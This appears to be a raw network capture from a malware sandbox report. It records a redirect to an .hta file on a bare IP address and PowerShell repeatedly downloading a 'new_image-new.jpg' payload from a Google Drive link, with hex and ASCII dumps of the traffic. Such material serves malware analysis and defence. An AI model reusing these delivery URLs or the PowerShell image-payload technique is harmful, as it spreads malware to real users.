2024-10-25 17:46:52 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 33 32 35 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 30 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 35 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 39 38 36 32 38 32 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 39 62 66 64 64 30 63 35 31 30 34 61 35 33 32 63 26 74 73 3d 35 33 38 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1325&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2808&recv_bytes=1059&delivery_rate=1986282&cwnd=252&unsent_bytes=0&cid=9bfdd0c5104a532c&ts=538&x=0"
2024-10-25 17:46:52 UTC	100	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 37 36 2e 31 34 31 2f 34 32 2f 75 67 2f 73 65 65 74 68 65 62 65 73 74 74 68 69 6e 67 73 65 76 65 72 6d 65 65 74 77 69 74 68 67 72 65 61 74 74 68 69 6e 67 73 74 6f 62 65 67 6f 6f 64 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49171	142.250.186.46	443	1372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 17:47:00 UTC	121	OUT	GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-25 17:47:00 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 25 Oct 2024 17:47:00 GMT Location: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-8UgUJgBsl88vQMMjpKKLxQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49172	142.250.185.97	443	1372	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 17:47:01 UTC	139	OUT	GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-25 17:47:04 UTC	4906	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="new_image-new.jpg" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 2239109 Last-Modified: Mon, 21 Oct 2024 13:42:20 GMT X-GUploader-UploadID: AHmUCY0s7RoWNnn1B_UOrv1E8UUYj3j6ptvdFQ8fcuJAqg_FrXHuD89b3NcaWOxwg8G-O4FP-cSVo-d4qQ Date: Fri, 25 Oct 2024 17:47:03 GMT Expires: Fri, 25 Oct 2024 17:47:03 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=WqxmdA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-25 17:47:04 UTC	4906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-10-25 17:47:04 UTC	4886	IN	Data Raw: 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 45 2e de 2f b9 cd 04 62 f1 19 03 ed 55 b5 34 6c 13 99 53 48 aa 43 28 23 68 01 89 e7 9c 98 27 46 81 d1 49 00 1d c6 fb 9c 07 6f 7c 8a 24 76 64 ec a4 5e 15 62 d3 c0 8c e5 e5 24 03 e9 02 c5 62 1a 6d 62 bb 00 cc 14 ad 81 78 71 36 e4 61 be af 8c 0c ad 42 99 26 76 51 44 9a 0a 16 b8 c5 99 19 0d 32 90 7e 23 35 a4 11 b3 15 27 e2 0f 4b e3 17 d4 ed 10 80 24 dc 4f 40 70 33 eb Data Ascii: 8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo\|$vd^b$bmbxq6aB&vQD2~#5'K$O@p3
2024-10-25 17:47:04 UTC	1378	IN	Data Raw: 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 e5 81 e9 07 8b 40 da 67 d5 0f 0e d3 10 ac 29 77 3d 76 04 fe 3e c4 af e7 f0 39 da 6f 1b d3 6a 1c ef d0 c2 18 ad 85 4d ec c4 fc 8b f3 f4 ed ce 61 40 cf 14 91 b0 04 a8 24 15 27 f8 4f 0c 3f 2c a2 b4 b0 b9 da 40 ba b0 c0 30 ef 55 63 b7 be 06 9c de 2d 13 9a 1a 38 a3 b3 cb 29 6b 35 f0 2c 72 ad e3 50 00 36 f8 74 25 bd ed f9 ff 00 c5 99 f3 17 91 43 33 12 d4 7f 11 ba e7 b6 2e 18 b2 d8 8c 00 bf e2 16 0e 06 be b7 c5 22 62 a9 1e 8e 28 db 68 66 23 Data Ascii: #k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."b(hf#
2024-10-25 17:47:04 UTC	1378	IN	Data Raw: ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a ea 53 53 2c 72 6d 0a b1 86 20 1e 7a fe 59 89 11 d7 6a 17 64 26 79 1a e8 90 cc 76 df c7 a0 ca b3 a3 43 24 b3 6a 7f 7b c0 45 ae 4d 77 bf 6c 67 c3 5e 72 fb 20 75 60 80 ca 55 ba 13 44 1f e7 81 53 a2 f1 b4 86 49 8c b3 20 4e 4a 89 da c8 fa 1c 57 45 ac f1 1d 44 a4 c5 aa 76 65 e4 2b 4a 7a 7d 78 cf 68 ed fb a6 b5 05 45 92 08 be 9c e7 90 d7 c4 9a 5f 11 d4 84 04 02 4b 75 e3 91 ed 81 a1 a2 fb 43 18 3e 5e b2 44 0f c8 de 08 02 fe 20 74 cd 5d 3c cb Data Ascii: @p1Hj/X$]awk)I,-lO(GuBk*>BDoGJp+m+{SS,rm zYjd&yvC$j{EMwlg^r u`UDSI NJWEDve+Jz}xhE_KuC>^D t]<
2024-10-25 17:47:04 UTC	1378	IN	Data Raw: 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 78 ee 01 6e c3 a6 0b f6 84 1a 2f da f4 cd 33 8d 41 69 34 c7 72 a8 51 b7 62 71 ed d3 bf 7b be 3a 66 ef d9 08 53 67 da 44 1a 69 62 f1 18 b4 4e 93 ab 23 16 45 43 10 29 60 05 03 d2 d4 a0 0a af 86 64 7d b5 d6 e9 b5 bf b4 81 3b 23 16 94 69 24 01 db 90 1a 28 d8 0e bf 1c 0d 1f da cc fe 54 1f 66 56 3d cb 1f fb 35 76 ad 81 43 8f fa 67 cc c3 ea a2 5b d3 06 21 bd 54 05 fe b9 f5 2f da 8c 48 e3 ec f0 92 2d 81 7c 35 00 66 61 46 b6 f4 e7 3c 34 12 c7 Data Ascii: :'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#xn/3Ai4rQbq{:fSgDibN#EC)`d};#i$(TfV=5vCg[!T/H-\|5faF<4
2024-10-25 17:47:04 UTC	1378	IN	Data Raw: 18 c3 29 58 5a 9c d9 3e 9f 96 1e 08 8c b0 82 dc af 42 47 38 19 e1 37 37 ac 6e 1e f8 64 2c ea 50 8b 5a e2 86 72 43 20 d6 98 ca 91 10 e6 f1 98 e2 02 56 0a 59 42 8b 23 df 01 78 b4 e9 01 ad a6 db b0 c3 47 a2 56 90 52 30 0d d6 fb 64 88 77 4d bc c8 dc 9e 06 3a 6d 23 01 59 b7 11 d7 02 87 46 9a 6b 23 93 d3 e9 81 56 57 0c 03 58 06 a8 8e 70 da 98 8b 4d 13 09 58 9a a2 07 f3 c4 91 36 ea 25 46 91 89 bf 4f 15 81 05 48 73 66 fe 99 59 d0 32 6d 65 e4 64 32 32 cc 41 73 f0 bc ba 5b 0d 92 1b 61 d0 d6 02 fa 7d 3a 39 3e 9f 52 f4 38 dc 6b 21 43 bb a8 e9 95 8c 04 52 43 10 df 2c 32 12 50 6d 66 2c 7a fc 30 2f 06 8d a6 25 a4 34 3b 58 c8 96 22 d1 f4 52 cb c0 ac d4 44 56 45 f2 d8 8f 46 d3 f1 f8 e6 63 11 a7 d4 37 3c 01 54 7b e0 0e 5d b1 bd 58 06 85 71 f0 c3 94 4f ba 05 25 43 37 3d 31 Data Ascii: )XZ>BG877nd,PZrC VYB#xGVR0dwM:m#YFk#VWXpMX6%FOHsfY2med22As[a}:9>R8k!CRC,2Pmf,z0/%4;X"RDVEFc7<T{]XqO%C7=1
2024-10-25 17:47:04 UTC	1378	IN	Data Raw: ab 01 32 29 b9 26 8f b6 16 02 34 ee 25 08 c5 87 2a bb c8 03 e7 44 1f d7 0f f7 49 0c 77 be 02 4f ff 00 6f 4f fd 59 0d a4 95 63 16 d0 90 be d3 23 7e 81 b0 1a 86 59 f5 09 23 43 24 e1 4d 1d cd 2b 11 d0 58 15 c0 b3 fe 20 46 44 5a 83 3b 14 59 a6 89 55 50 bb b4 cc 6c d8 56 ef d3 93 f9 7b 62 09 a7 96 48 77 a3 42 01 3c dc aa a4 8f 88 2c 32 1f 49 22 a9 25 a1 20 2e ea 12 27 4f a3 73 80 ea 99 bc a5 f3 1a 44 2e 18 28 69 18 f2 0a f5 00 93 5c 9e dd 33 33 5c 85 67 60 58 b1 e2 d9 9a cf f7 af 9e 73 bb 36 9c 21 24 aa 12 47 3c 73 5f 9e 2c 78 04 0b a3 c9 27 02 83 83 9a be 16 e9 1c 52 33 90 29 81 e7 e5 99 4a 2c e6 e7 81 e9 61 d4 45 28 96 23 21 0c 36 fb 0c 0d 48 75 9a 52 a1 69 48 6f c3 75 57 99 1a f9 8f dd 9d 23 da c0 b7 2c 3a e6 e4 de 1f 02 10 91 32 83 b4 b0 b4 04 03 5d c5 67 Data Ascii: 2)&4%*DIwOoOYc#~Y#C$M+X FDZ;YUPlV{bHwB<,2I"% .'OsD.(i\33\g`Xs6!$G<s_,x'R3)J,aE(#!6HuRiHouW#,:2]g
2024-10-25 17:47:04 UTC	1378	IN	Data Raw: bf a6 09 d8 19 02 81 47 df 03 d0 7d 9e 56 6d 0b d3 6d 01 ec 1f a5 62 bf 68 55 9b 57 a7 0d d7 6f 1f 1f 56 5b c2 35 03 45 0c 9e 71 db 16 e5 36 db af 9b 1c 7e 78 2f 13 d4 47 ac d4 c6 da 76 de 11 4a 9d bb ab df db 03 d0 1d eb a5 2a 59 98 85 6f c5 db e1 9e 7f ec d0 65 9a 72 39 f4 0f e7 9a e7 59 12 e9 49 97 74 67 98 d4 10 c6 cd 7b 7d 33 27 c1 b7 e9 27 73 22 32 ab a8 16 55 b9 eb d0 56 03 3e 3f a7 f3 60 13 85 f5 44 68 ff 00 ba 7f eb 97 d0 f8 ac 6b e1 db a4 3c c4 84 f4 27 75 76 c7 27 96 07 86 45 91 c4 6a ca 08 69 01 0a 77 03 c0 be a7 8c f1 c2 45 86 52 a5 4b c5 7c 7a a8 10 3e 38 1e 8f 45 71 81 23 bb 7d e2 57 0c ea 1e ec 37 22 97 bf 40 0d f6 27 0b aa f1 6d 1f 87 c6 22 0e 24 91 46 d1 1c 7f c2 45 8e 4f 6e 95 99 7b 3c 5f c5 90 05 8c 41 a6 6b 62 45 20 6b b2 49 fe 23 77 Data Ascii: G}VmmbhUWoV[5Eq6~x/GvJ*Yoer9YItg{}3''s"2UV>?`Dhk<'uv'EjiwERK\|z>8Eq#}W7"@'m"$FEOn{<_AkbE kI#w
2024-10-25 17:47:04 UTC	1378	IN	Data Raw: 0a c1 83 32 8f 22 1f 51 5f c4 07 3d c6 6b 7d 84 d4 3e 8b c6 3e d6 46 92 42 d1 a7 83 6a 9c 79 60 fa 76 95 3b 41 20 1e fc e6 27 db 14 0d f6 bd 1c 39 15 a7 d1 15 63 dc 7d de 2a c0 f4 9f b5 e9 e4 66 fb 3d e6 24 b1 ca 9a 3d 92 ab 22 a8 0d b5 18 f0 39 1c b5 73 ed 9f 39 d3 40 41 2e 25 da c3 e1 9f 58 fd b3 cb a6 6f 1d f0 5d 3e a6 49 04 50 a3 89 5d 41 69 0f 0a 68 02 40 ff 00 47 3e 63 19 73 11 0b 11 65 00 0e 08 04 1b e8 6b eb 80 16 49 4a b2 79 a5 95 81 06 85 60 df 46 15 81 f3 38 35 7e 95 be 3e 39 a4 c9 b9 76 15 28 d5 dc 7f 5c 4e 73 e4 05 56 91 c5 9a e2 bf b6 05 f4 30 9f 35 9c 92 39 b5 0d 44 9b f9 65 f5 28 eb 21 60 ea 41 ef b7 a7 eb 93 02 ed 56 70 f2 1f cb fb 64 b9 67 04 17 60 0f ca f0 10 9d dc 00 a6 82 df 04 1e bf 4c 59 1e 35 d4 ac 80 30 2a c1 a8 f7 ae 72 e4 93 a8 Data Ascii: 2"Q_=k}>>FBjy`v;A '9c}f=$="9s9@A.%Xo]>IP]Aih@G>csekIJy`F85~>9v(\NsV059De(!`AVpdg`LY50r
2024-10-25 17:47:04 UTC	1378	IN	Data Raw: 6f 37 8a 68 7c 54 6a f5 6e a1 58 93 d2 ff 00 0e 06 b1 71 e6 86 14 01 e3 35 1a 26 01 02 90 40 51 98 a6 46 ad a5 68 8f 61 8f 47 3b be 94 12 18 38 e2 fb d6 03 ee 8a 40 e5 77 03 57 ed 99 72 41 73 19 59 82 95 36 6c f1 8d 39 91 62 57 03 e2 d7 94 79 b7 46 43 42 ac 08 a6 e7 00 12 a4 72 c2 35 01 d6 ec f4 c5 11 d9 e4 6d cc 09 19 da 9d f3 41 22 44 16 26 2a 55 6b b6 28 35 02 2d 54 7a 5a b7 65 b2 c7 e0 30 0b a9 94 45 a9 44 67 1b 4f 38 ea ea 12 29 46 c2 b5 fc 40 e2 7a bd 3a 4e ea d2 2a 8d b5 cd e5 e0 81 5d 4c c4 86 8f a5 8c 0d b6 d5 a0 d3 f9 88 a1 56 bf 2c cc 96 68 e6 f5 07 52 4f c7 13 f1 2d 54 ef a0 91 74 e8 ab 10 1b 49 ef 79 e5 9a 79 e3 05 0b 1b 53 d7 bd e0 7b 2d 3c a8 58 a1 75 0c 0f 17 df 0b a9 9d 9b 4a 51 59 42 a9 e2 bd fd b3 c5 cb aa d5 ee 0f 23 b2 9a e0 91 57 84 Data Ascii: o7h\|TjnXq5&@QFhaG;8@wWrAsY6l9bWyFCBr5mA"D&Uk(5-TzZe0EDgO8)F@z:N]LV,hRO-TtIyyS{-<XuJQYB#W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49173	142.250.186.46	443	252	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 17:47:07 UTC	121	OUT	GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-25 17:47:08 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 25 Oct 2024 17:47:08 GMT Location: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-ggkHKPKzuYRyytjvWsQEtg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49174	142.250.185.97	443	252	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 17:47:09 UTC	139	OUT	GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-25 17:47:11 UTC	4906	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="new_image-new.jpg" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 2239109 Last-Modified: Mon, 21 Oct 2024 13:42:20 GMT X-GUploader-UploadID: AHmUCY1L9izM4m1ikSZWaNRdAGDYIqWLAamN7W7MbmpYKFCMhjfRxZDAGUC5AxJ3t0aQ4f2cA6rrVFmaQg Date: Fri, 25 Oct 2024 17:47:11 GMT Expires: Fri, 25 Oct 2024 17:47:11 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=WqxmdA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-25 17:47:11 UTC	4906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-10-25 17:47:11 UTC	4889	IN	Data Raw: 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 45 2e de 2f b9 cd 04 62 f1 19 03 ed 55 b5 34 6c 13 99 53 48 aa 43 28 23 68 01 89 e7 9c 98 27 46 81 d1 49 00 1d c6 fb 9c 07 6f 7c 8a 24 76 64 ec a4 5e 15 62 d3 c0 8c e5 e5 24 03 e9 02 c5 62 1a 6d 62 bb 00 cc 14 ad 81 78 71 36 e4 61 be af 8c 0c ad 42 99 26 76 51 44 9a 0a 16 b8 c5 99 19 0d 32 90 7e 23 35 a4 11 b3 15 27 e2 0f 4b e3 17 d4 ed 10 80 24 dc 4f 40 70 33 eb Data Ascii: 8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo\|$vd^b$bmbxq6aB&vQD2~#5'K$O@p3
2024-10-25 17:47:11 UTC	1320	IN	Data Raw: 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 e5 81 e9 07 8b 40 da 67 d5 0f 0e d3 10 ac 29 77 3d 76 04 fe 3e c4 af e7 f0 39 da 6f 1b d3 6a 1c ef d0 c2 18 ad 85 4d ec c4 fc 8b f3 f4 ed ce 61 40 cf 14 91 b0 04 a8 24 15 27 f8 4f 0c 3f 2c a2 b4 b0 b9 da 40 ba b0 c0 30 ef 55 63 b7 be 06 9c de 2d 13 9a 1a 38 a3 b3 cb 29 6b 35 f0 2c 72 ad e3 50 00 36 f8 74 25 bd ed f9 ff 00 c5 99 f3 17 91 43 33 12 d4 7f 11 ba e7 b6 2e 18 b2 d8 8c 00 bf e2 16 0e 06 be b7 c5 22 62 a9 1e 8e 28 db 68 66 23 78 60 7d Data Ascii: #k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."b(hf#x`}
